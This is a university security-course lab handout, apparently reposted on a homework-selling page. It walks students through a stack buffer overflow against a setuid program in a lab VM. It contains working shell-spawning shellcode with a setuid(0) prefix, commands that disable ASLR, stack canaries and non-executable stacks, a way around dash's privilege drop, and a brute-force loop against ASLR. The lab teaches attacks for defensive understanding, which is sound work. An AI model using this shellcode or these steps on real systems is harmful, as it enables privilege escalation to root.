Homework 1: Buffer Overflow Vulnerability Attack and Defense Lab

Original price was: $40.00.Current price is: $35.00.

Rate this product

CSCE 465 Computer and Network Security 1
Homework 1:
Buffer Overflow Vulnerability Attack and Defense Lab
1 Lab Overview
The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulnerability by putting what they have learned about the vulnerability from class into actions. Buffer overflow is
defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated
fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the
program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage
for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can
affect the control flow of the program, because an overflow can change the return address.
In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop
a scheme to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students
will be guided to walk through several protection schemes that have been implemented in Linux to counter
against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain
2 Initial Lab Setup
Your need to first install VirtualBox ( Next you need to install
Ubuntu Linux as a guest operating system on the virtual machine. For your convenience, we will provide a
pre-built Ubuntu 16.04 Linux image for VirtualBox. It is available at
sharing (warning: it is large 3.3G). In this image, you can login using two accounts:
• User ID: root, Password: seedubuntu
• User ID: seed, Password: dees
Following the VirtualBox Manual, you need to add the current user to the vboxsf group in order to
enable shared folder between the host and the VM. Try ”sudo adduser $USER vboxsf” and reboot. Thank
our TA, Haidong, for pointing it out!
3 Lab Tasks
3.1 Initial setup
You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux
distributions have implemented several security mechanisms to make the buffer-overflow attack difficult. To
simply our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable
these features using the following commands:
CSCE 465 Computer and Network Security 2
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called ”Stack
Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the -fno-stack-protector switch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
Configuring /bin/sh (Ubuntu 16.04 VM only). In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the /bin/sh
symbolic link points to the /bin/dash shell. However, the dash program in these two VMs have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from being
executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it
immediately changes the effective user ID to the process’s real user ID, essentially dropping the privilege.
The dash program in Ubuntu 12.04 does not have this behavior.
Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the
countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to
another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit
more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program
called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh (there is
no need to do these in Ubuntu 12.04):
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
3.2 Running Shellcode
Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be
loaded into the memory so that we can force the vulnerable program to jump to it. Consider the following
#include <stdio.h>
CSCE 465 Computer and Network Security 3
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
The shellcode that we use is just the assembly version of the above program. The following program
shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the
following code, and see whether a shell is invoked.
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
“\x31\xc0” /* Line 1: xorl %eax,%eax */
“\x50” /* Line 2: pushl %eax */
“\x68″”//sh” /* Line 3: pushl $0x68732f2f */
“\x68″”/bin” /* Line 4: pushl $0x6e69622f */
“\x89\xe3” /* Line 5: movl %esp,%ebx */
“\x50” /* Line 6: pushl %eax */
“\x53” /* Line 7: pushl %ebx */
“\x89\xe1” /* Line 8: movl %esp,%ecx */
“\x99” /* Line 9: cdql */
“\xb0\x0b” /* Line 10: movb $0x0b,%al */
“\xcd\x80” /* Line 11: int $0x80 */
int main(int argc, char **argv)
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
Please use the following command to compile the code (don’t forget the execstack option):
$ gcc -z execstack -o call_shellcode call_shellcode.c
A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather
than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortunately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the
execve() system call, we need to store name[0] (the address of the string), name (the address of the
array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;
CSCE 465 Computer and Network Security 4
Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.,
xorl %edx, %edx); the one (cdql) used here is simply a shorter instruction. Third, the system call
execve() is called when we set %al to 11, and execute “int $0x80”.
3.3 The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
char buffer[18];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
int main(int argc, char **argv)
char str[517];
FILE *badfile;
badfile = fopen(“badfile”, “r”);
fread(str, sizeof(char), 517, badfile);
printf(“Returned Properly\n”);
return 1;
Compile the above vulnerable program. After the compilation, we need to make the program a rootowned Set-UID program. We can achieve this by first change the ownership of the program to root, and
then change the permission to 4755 to enable the Set-UID bit. It should be noted that changing ownership
must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit
to be turned off.
$ gcc -o stack -z execstack -fno-stack-protector stack.c
$ chown root stack
$ chmod 4755 stack
The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”,
and then passes this input to another buffer in the function bof(). The original input can have a maximum
CSCE 465 Computer and Network Security 5
length of 517 bytes, but the buffer in bof() has only 18 bytes long. Because strcpy() does not check
boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can
exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be
noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our
objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents
into its buffer, a root shell can be spawned.
3.4 Task 1: Exploiting the Vulnerability
We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to
construct contents for “badfile”. In this code, the shellcode is given to you. You need to develop the rest.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
“\x31\xc0” /* xorl %eax,%eax */
“\x50” /* pushl %eax */
“\x68″”//sh” /* pushl $0x68732f2f */
“\x68″”/bin” /* pushl $0x6e69622f */
“\x89\xe3” /* movl %esp,%ebx */
“\x50” /* pushl %eax */
“\x53” /* pushl %ebx */
“\x89\xe1” /* movl %esp,%ecx */
“\x99” /* cdql */
“\xb0\x0b” /* movb $0x0b,%al */
“\xcd\x80” /* int $0x80 */
void main(int argc, char **argv)
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file “badfile” */
badfile = fopen(“./badfile”, “w”);
fwrite(buffer, 517, 1, badfile);
CSCE 465 Computer and Network Security 6
After you finish the above program, compile and run it. This will generate the contents for “badfile”.
Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to
get a root shell. Please include your code in the report (text or screenshot), and explain how you come up
with it and why it works.
Important: Please compile your vulnerable program first. Please note that the program exploit.c, which
generates the bad file, can be compiled with the default Stack Guard protection enabled. This is because we
are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c, which is
compiled with the default Stack Guard protection disabled.
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <—- Bingo! You’ve got a root shell!
It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the
effective user id is now root). You can check this by typing the following:
# id
uid=(500) euid=0(root)
Many commands will behave differently if they are executed as Set-UID root processes, instead of
just as root processes, because they recognize that the real user id is not root. To solve this problem,
you can run the following program to turn the real user id to root. This way, you will have a real root
process, which is more powerful.
void main()
setuid(0); system(“/bin/sh”);
3.5 Task 2: Defeating dash’s Countermeasure
As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the
effective UID does not equal to the real UID. This can be observed from dash program’s changelog. We
can see an additional check, which compares real and effective user/group IDs.
// main() function in main.c has following changes:
++ uid = getuid();
++ gid = getgid();
++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) {
++ setuid(uid);
++ setgid(gid);
CSCE 465 Computer and Network Security 7
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }
The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in
our shellcode; instead, we can invoke another shell program. This approach requires another shell program,
such as zsh to be present in the system. Another approach is to change the real user ID of the victim process
to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing
execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh
symbolic link, so it points back to /bin/dash:
$ sudo rm /bin/sh
$ sudo ln -s /bin/dash /bin/sh
To see how the countermeasure in dash works and how to defeat it using the system call setuid(0),
we write the following C program. We first comment out the line (setuid(0)) and run the program as a
Set-UID program (the owner should be root); please describe your observations. We then uncomment the
line (setuid(0)) and run the program again; please describe your observations.
// dash_shell_test.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
char *argv[2];
argv[0] = “/bin/sh”;
argv[1] = NULL;
// setuid(0);
execve(“/bin/sh”, argv, NULL);
return 0;
The above program can be compiled and set up using the following commands (we need to make it
root-owned Set-UID program):
$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test
From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly
code for invoking this system call at the beginning of our shellcode, before we invoke execve().
char shellcode[] =
“\x31\xc0” /* Line 1: xorl %eax,%eax */
“\x31\xdb” /* Line 2: xorl %ebx,%ebx */
“\xb0\xd5” /* Line 3: movb $0xd5,%al */
CSCE 465 Computer and Network Security 8
“\xcd\x80” /* Line 4: int $0x80 */
// —- The code below is the same as the one in Task 1 —
The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line
1 and 3 (0xd5 is setuid()’s system call number), and (3) execute the system call in Line 4. Using this
shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash.
Using the above shellcode in exploit.c, try the attack from Task 2 again and see if you can get a root
shell. Please describe and explain your results.
3.6 Task 3: Address Randomization
Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can
you get a shell? If not, what is the problem? How does the address randomization make your attacks
difficult? You should describe your observation and explanation in your lab report. You can use the following
instructions to turn on the address randomization:
$ su root
Password: (enter root password)
# /sbin/sysctl -w kernel.randomize_va_space=2
If running the vulnerable code once does not get you the root shell, how about running it for many times?
You can run ./stack in the following shell script, and see what will happen. If your exploit program is
designed properly, you should be able to get the root shell after a while. Please describe and explain your
while [ 1 ]
value=$(( $value + 1 ))
min=$(($duration / 60))
sec=$(($duration % 60))
echo “$min minutes and $sec seconds elapsed.”
echo “The program has been running $value times so far.”
CSCE 465 Computer and Network Security 9
3.7 Task 4: Stack Guard
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we disabled the “Stack Guard” protection mechanism in GCC when compiling the
programs. In this task, you may consider repeating task 1 in the presence of Stack Guard. To do that, you
should compile the program without the -fno-stack-protector’ option. For this task, you will recompile the
vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations.
You may report any error messages you observe.
In the GCC 4.3.3 and newer versions, Stack Guard is enabled by default. Therefore, you have to disable
Stack Guard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a
older GCC version, you may not have to disable Stack Guard.
3.8 Task 5: Non-executable Stack
Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.
In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable
program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, what
is the problem? How does this protection scheme make your attacks difficult. You should describe your
observation and explanation in your lab report. You can use the following instructions to turn on the nonexecutable stack protection.
# gcc -o stack -fno-stack-protector -z noexecstack stack.c
It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it
does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting
a buffer-overflow vulnerability. The return-to-libc attack is an example.
If you are using our Ubuntu 12.04/16.04 VM, whether the non-executable stack protection works or
not depends on the CPU and the setting of your virtual machine, because this protection depends on the
hardware feature that is provided by CPU. If you find that the non-executable stack protection does not
work, check our this document (
Buffer_Overflow/files/NX.pdf), and see whether the instruction in the document can help solve
your problem. If not, then you may need to figure out the problem yourself.
4 Guidelines
We can load the shellcode into “badfile”, but it will not be executed because our instruction pointer will not
be pointing to it. One thing we can do is to change the return address to point to the shellcode. But we have
two problems: (1) we do not know where the return address is stored, and (2) we do not know where the
shellcode is stored. To answer these questions, we need to understand the stack layout the execution enters
a function. The following figure gives an example.
CSCE 465 Computer and Network Security 10
str (a pointer to a string)
Return Address
Previous Frame Pointer (FP)
buffer[0] … buffer[11]
void func (char *str) {
char buffer[12];
int variable_a;
strcpy (buffer, str);
Int main() {
char *str = “I am greater than 12 bytes”;
func (str);
Current Frame
Current FP
(a) A code example (b) Active Stack Frame in func()
High Address
Low Address
Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of of your copy, but you should be quite close.
If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:
• Stack usually starts at the same address.
• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.
• Therefore the range of addresses that we need to guess is actually quite small.
Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calcuate the starting point of the malicious code. Even if you cannot accurately calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malcious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. The following figure depicts the attack.
CSCE 465 Computer and Network Security 11
buffer [0] …… buffer [11]
Previous FP
Return Address
Malicious Code
buffer [0] …… buffer [11]
Previous FP
Return Address
Malicious Code
…… (many NOP’s)
(a) Jump to the malicious code (b) Improve the chance Stack’s growing direction
Storing an long integer in a buffer: In your exploit program, you might need to store an long integer (4
bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long, the integer will actually
occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]). Because buffer and long are of different
types, you cannot directly assign the integer to buffer; instead you can cast the buffer+i into an long pointer,
and then assign the integer. The following code shows how to assign an long integer to a buffer starting at
char buffer[20];
long addr = 0xFFEEDD88;
long *ptr = (long *) (buffer + i);
*ptr = addr;
5 Submission
You need to submit a detailed lab report on Gradescope, with
screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets
followed by explanation. Simply attaching code without any explanation will not receive credits.

Scroll to Top